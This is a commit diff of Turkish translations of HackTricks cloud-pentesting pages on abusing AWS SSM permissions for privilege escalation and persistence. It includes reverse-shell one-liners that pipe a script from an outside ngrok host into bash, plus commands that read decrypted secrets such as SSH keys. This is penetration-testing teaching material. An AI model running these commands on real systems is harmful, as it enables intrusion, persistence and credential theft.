mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-s
This commit is contained in:
@@ -1,18 +1,18 @@
|
||||
# AWS - SSM Kalıcılık
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### ssm:CreateAssociation ile kalıcılık
|
||||
### Persistence için ssm:CreateAssociation kullanma
|
||||
|
||||
**`ssm:CreateAssociation`** iznine sahip bir saldırgan, SSM tarafından yönetilen EC2 instance'larında komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu State Manager Association'lar sabit aralıklarla çalışacak şekilde yapılandırılabilir; bu da etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık için uygun hale getirir.
|
||||
**`ssm:CreateAssociation`** yetkisine sahip bir attacker, SSM tarafından yönetilen EC2 instances üzerinde komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu associations, sabit bir aralıkta çalışacak şekilde yapılandırılabilir; bu da onları interactive sessions olmadan backdoor benzeri persistence için uygun hale getirir.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -22,6 +22,56 @@ aws ssm create-association \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bu persistence yöntemi, EC2 instance'ı Systems Manager tarafından yönetildiği, SSM agent çalışır durumda olduğu ve saldırganın associations oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örn., `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığına uymalıdır. Hemen veya tek seferlik çalıştırma için `--schedule-expression` parametresini tamamen kaldırın — association oluşturulduktan sonra bir kez çalıştırılacaktır.
|
||||
> Bu persistence yöntemi, EC2 instance Systems Manager tarafından yönetildiği, SSM agent çalıştığı ve attacker association oluşturma iznine sahip olduğu sürece çalışır. Interactive session veya açık `ssm:SendCommand` izinleri gerektirmez. **Important:** `--schedule-expression` parametresi (ör. `rate(30 minutes)`) AWS'nin minimum 30 dakika aralığına uymalıdır. Hemen ya da tek seferlik execution için `--schedule-expression` parametresini tamamen bırakın — association, oluşturulduktan sonra bir kez çalışacaktır.
|
||||
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
**`ssm:UpdateDocument`** ve **`ssm:UpdateDocumentDefaultVersion`** izinlerine sahip bir attacker, existing documents değiştirerek privilege escalation yapabilir. Bu aynı zamanda o document içinde persistence sağlar. Pratikte attacker'ın custom documents adlarını almak için ayrıca **`ssm:ListDocuments`** iznine de ihtiyacı olur ve attacker payload'ını existing bir document içine obfuscate etmek isterse **`ssm:GetDocument`** de gerekli olacaktır.
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
Aşağıda, mevcut bir dokümanın üzerine yazmak için kullanılabilecek bir örnek doküman bulunmaktadır. Doküman türünüzün hedef dokümanın türüyle eşleştiğinden emin olmak isteyeceksiniz; aksi halde invocation ile ilgili sorunlar oluşabilir. Örneğin aşağıdaki doküman, **`ssm:SendCommand`** ve **`ssm:CreateAssociation`** örneklerini kullanacaktır.
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
**`ssm:RegisterTaskWithMaintenanceWindow`** ve **`ssm:RegisterTargetWithMaintenanceWindow`** izinlerine sahip bir attacker, önce mevcut bir maintenance window ile yeni bir target kaydederek ve ardından yeni bir task kaydını güncelleyerek privilege escalation yapabilir. Bu, mevcut target’larda execution sağlar, ancak yeni target’lar kaydederek farklı roles ile compute sistemlerini compromise etmeye de imkan verebilir. Bu aynı zamanda persistence da sağlar, çünkü maintenance windows tasks, window oluşturulurken tanımlanan önceden belirlenmiş bir aralıkta çalıştırılır. Pratikte attacker’ın maintenance window ID’lerini almak için ayrıca **`ssm:DescribeMaintenanceWindows`** iznine de ihtiyacı olur.
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSM
|
||||
|
||||
SSM hakkında daha fazla bilgi için bakınız:
|
||||
SSM hakkında daha fazla bilgi için şuraya bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,7 +12,7 @@ SSM hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
### `ssm:SendCommand`
|
||||
|
||||
**`ssm:SendCommand`** iznine sahip bir saldırgan, Amazon SSM Agent çalıştıran instance'larda komut çalıştırabilir ve bu instance'ın içinde çalışan IAM Role'u ele geçirebilir.
|
||||
**`ssm:SendCommand`** iznine sahip bir attacker, Amazon SSM Agent çalıştıran instance'larda **komutları çalıştırabilir** ve içinde çalışan **IAM Role**'ü **compromise** edebilir.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
|
||||
```
|
||||
Bu tekniği zaten ele geçirilmiş bir EC2 instance içinde escalate privileges için kullanıyorsanız, rev shell'i yerel olarak şu şekilde yakalayabilirsiniz:
|
||||
Eğer bu tekniği zaten ele geçirilmiş bir EC2 instance içinde privileges escalation yapmak için kullanıyorsanız, rev shell'i yerelde şu şekilde yakalayabilirsiniz:
|
||||
```bash
|
||||
# If you are in the machine you can capture the reverseshel inside of it
|
||||
nc -lvnp 4444 #Inside the EC2 instance
|
||||
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
**Potential Impact:** SSM Agents'ın yüklü olduğu çalışan instance'lara bağlı EC2 IAM rollere doğrudan privesc.
|
||||
**Olası Etki:** Çalışan instance’lara bağlı ve SSM Agent’ları çalışan EC2 IAM role’lerine doğrudan privesc.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Bir saldırgan **`ssm:StartSession`** iznine sahipse, Amazon SSM Agent çalıştıran instance'larda **SSH benzeri bir oturum başlatabilir** ve içindeki **IAM Role'ü ele geçirebilir**.
|
||||
`ssm:StartSession` iznine sahip bir attacker, Amazon SSM Agent çalışan instance’larda **SSH benzeri bir session başlatabilir** ve içindeki **IAM Role’ü compromise edebilir**.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Oturum başlatmak için **SessionManagerPlugin** yüklü olmalıdır: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
> Bir session başlatmak için **SessionManagerPlugin** yüklü olmalıdır: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
|
||||
**Potansiyel Etki:** SSM Agents'in kurulu olduğu çalışan instance'lara bağlı EC2 IAM rollerine doğrudan privesc.
|
||||
**Potential Impact:** Çalışan instance’lara bağlı SSM Agents çalışırken, EC2 IAM roles’a doğrudan privesc.
|
||||
|
||||
#### ECS'e privesc
|
||||
#### Privesc to ECS
|
||||
|
||||
When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
|
||||
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin bunun için gerekli)\
|
||||
Bu nedenle, `ssm:StartSession` izinlerine sahip kullanıcılar, bu seçenek etkinse sadece şu komutu çalıştırarak **ECS tasks içinde bir shell elde edebilecekler:**
|
||||
**ECS tasks** **`ExecuteCommand` enabled** ile çalıştığında, yeterli permissions’a sahip kullanıcılar container içinde bir command **execute etmek** için `ecs execute-command` kullanabilir.\
|
||||
[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/)’a göre bu, kullandığınız cihaz ile hedef container arasında SSM Session Manager kullanılarak güvenli bir channel oluşturulup “_exec_“ komutunun çalıştırılmasıyla yapılır. (Bunun çalışması için SSM Session Manager Plugin gerekli)\
|
||||
Dolayısıyla, `ssm:StartSession` yetkisine sahip kullanıcılar, bu option enabled olan ECS tasks içinde şu komutu çalıştırarak **bir shell elde edebileceklerdir**:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Olası Etki:** `ExecuteCommand` etkin olan running tasks'e bağlı `ECS` IAM rollerine doğrudan privesc.
|
||||
**Potential Impact:** `ExecuteCommand` etkin olan çalışan task’lere ekli `ECS` IAM roles’lerine doğrudan privesc.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
Bir saldırgan **`ssm:ResumeSession`** iznine sahip olduğunda, Amazon SSM Agent'ı çalıştıran ve SSM session state'i **disconnected** olan instance'larda re-**SSH benzeri bir oturum başlatabilir** ve içinde çalışan **IAM Role**'ü ele geçirebilir.
|
||||
**`ssm:ResumeSession`** iznine sahip bir attacker, Amazon SSM Agent çalışan instance’larda **disconnected** bir SSM session state ile bir SSH benzeri session’ı yeniden **başlatabilir** ve içindeki **IAM Role**’ü compromise edebilir.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
@@ -72,30 +72,30 @@ aws ssm describe-sessions
|
||||
aws ssm resume-session \
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
```
|
||||
**Potansiyel Etki:** SSM Agents çalışan ve disconected sessions bulunan running instance'lara bağlı EC2 IAM rolleri üzerinde doğrudan privesc.
|
||||
**Olası Etki:** Çalışan instance’lara bağlı ve SSM Agents çalışan, disconected sessions olan EC2 IAM role’larına doğrudan privesc.
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan **SSM parameters** listesini görüntüleyebilir ve **clear-text olarak okuyabilir**. Bu parametrelerde sıklıkla **hassas bilgiler bulabilirsiniz**, örneğin SSH keys veya API keys.
|
||||
Belirtilen izinlere sahip bir attacker, **SSM parameters** listesini görebilecek ve bunları **clear-text** olarak okuyabilecektir. Bu parameters içinde sıklıkla SSH keys veya API keys gibi **sensitive information** bulabilirsiniz.
|
||||
```bash
|
||||
aws ssm describe-parameters
|
||||
# Suppose that you found a parameter called "id_rsa"
|
||||
aws ssm get-parameters --names id_rsa --with-decryption
|
||||
aws ssm get-parameter --name id_rsa --with-decryption
|
||||
```
|
||||
**Potansiyel Etki:** Parametrelerin içinde hassas bilgi bulunabilir.
|
||||
**Potansiyel Etki:** Parametreler içinde hassas bilgi bul.
|
||||
|
||||
### `ssm:ListCommands`
|
||||
|
||||
Bu izne sahip bir saldırgan gönderilen tüm **commands** listesini görebilir ve umarım bunlarda **hassas bilgi** bulabilir.
|
||||
Bu izne sahip bir attacker, gönderilen tüm **commands** listesini görüntüleyebilir ve umarım bunlar içinde **sensitive information** bulabilir.
|
||||
```
|
||||
aws ssm list-commands
|
||||
```
|
||||
**Potansiyel Etki:** Komut satırlarında hassas bilgilerin bulunması.
|
||||
**Potansiyel Etki:** Komut satırları içinde hassas bilgi bulun.
|
||||
|
||||
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
|
||||
|
||||
Bu izinlere sahip bir saldırgan gönderilen tüm **komutları** listeleyebilir ve üretilen çıktıyı **okuyarak**, içinde **hassas bilgiler** bulabilir.
|
||||
Bu izinlere sahip bir attacker, gönderilen tüm **commands** listesini görebilir ve üretilen **output**'u okuyabilir; umarız burada **sensitive information** bulur.
|
||||
```bash
|
||||
# You can use any of both options to get the command-id and instance id
|
||||
aws ssm list-commands
|
||||
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
|
||||
|
||||
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
|
||||
```
|
||||
**Potansiyel Etki:** Komut satırı çıktıları içinde hassas bilgilerin bulunması.
|
||||
**Potansiyel Etki:** Komut satırlarının çıktısı içinde hassas bilgi bulun.
|
||||
|
||||
### ssm:CreateAssociation kullanımı
|
||||
### Using ssm:CreateAssociation
|
||||
|
||||
Yetkisi **`ssm:CreateAssociation`** olan bir saldırgan, SSM tarafından yönetilen EC2 örneklerinde komutları otomatik olarak çalıştırmak için bir State Manager Association oluşturabilir. Bu association'lar sabit aralıklarla çalışacak şekilde yapılandırılabilir; bu da etkileşimli oturumlar olmadan arka kapı benzeri kalıcılık sağlar.
|
||||
**`ssm:CreateAssociation`** iznine sahip bir attacker, SSM tarafından yönetilen EC2 instances üzerinde otomatik olarak commands execute etmek için bir State Manager Association oluşturabilir. Bu associations, sabit bir aralıkta çalışacak şekilde yapılandırılabilir; bu da onları interactive sessions olmadan backdoor-like persistence için uygun hale getirir.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -117,11 +117,60 @@ aws ssm create-association \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Bu persistence yöntemi, EC2 instance'ın Systems Manager tarafından yönetildiği, SSM agent'ın çalıştığı ve saldırganın associations oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Önemli:** `--schedule-expression` parametresi (örn. `rate(30 minutes)`) AWS'in 30 dakikalık minimum aralığına uymalıdır. Hemen veya tek seferlik yürütme için `--schedule-expression` parametresini tamamen atlayın — association oluşturulduktan sonra bir kez çalışacaktır.
|
||||
> Bu persistence yöntemi, EC2 instance Systems Manager tarafından yönetildiği, SSM agent çalıştığı ve attacker association oluşturma iznine sahip olduğu sürece çalışır. Etkileşimli oturumlar veya açık ssm:SendCommand izinleri gerektirmez. **Important:** `--schedule-expression` parametresi (ör. `rate(30 minutes)`) AWS'nin minimum 30 dakikalık aralığına uymalıdır. Anında veya tek seferlik execution için `--schedule-expression` tamamen atlanmalıdır — association oluşturulduktan sonra bir kez çalışacaktır.
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
**`ssm:UpdateDocument`** ve **`ssm:UpdateDocumentDefaultVersion`** izinlerine sahip bir attacker, existing documents'ları değiştirerek privilege escalation yapabilir. Bu aynı zamanda o document içinde persistence sağlar. Pratikte attacker'ın custom documents için isimleri almak üzere ayrıca **`ssm:ListDocuments`** iznine de ihtiyacı olur ve eğer attacker payload'ını existing bir document içinde obfuscate etmek isterse **`ssm:GetDocument`** de gerekli olacaktır.
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
Aşağıda, mevcut bir belgeyi üzerine yazmak için kullanılabilecek bir örnek belge bulunmaktadır. Invocation ile ilgili sorunları önlemek için belgenizin türünün hedef belgelerin türüyle eşleştiğinden emin olmak isteyeceksiniz. Aşağıdaki belge örneği, örneğin **`ssm:SendCommand`** ve **`ssm:CreateAssociation`** örneklerini kullanacaktır.
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
**`ssm:RegisterTaskWithMaintenanceWindow`** ve **`ssm:RegisterTargetWithMaintenanceWindow`** izinlerine sahip bir saldırgan, önce mevcut bir maintenance window ile yeni bir target kaydederek ve ardından yeni bir task ekleyip kaydederek yetkileri yükseltebilir. Bu, mevcut target'larda execution sağlar, ancak yeni target'lar kaydederek farklı role'lara sahip compute sistemlerini compromise etmeye de izin verebilir. Bu ayrıca persistence sağlar; çünkü maintenance windows task'leri, window oluşturma sırasında önceden tanımlı bir aralıkta çalıştırılır. Pratikte saldırganın maintenance window ID'lerini almak için ayrıca **`ssm:DescribeMaintenanceWindows`** iznine de ihtiyacı olur.
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
### Codebuild
|
||||
|
||||
SSM'i, inşa edilmekte olan bir codebuild projesinin içine girmek için de kullanabilirsiniz:
|
||||
Bir codebuild projesi build edilirken içine girmek için SSM de kullanabilirsin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-codebuild-privesc/README.md
|
||||
|
||||
Reference in New Issue
Block a user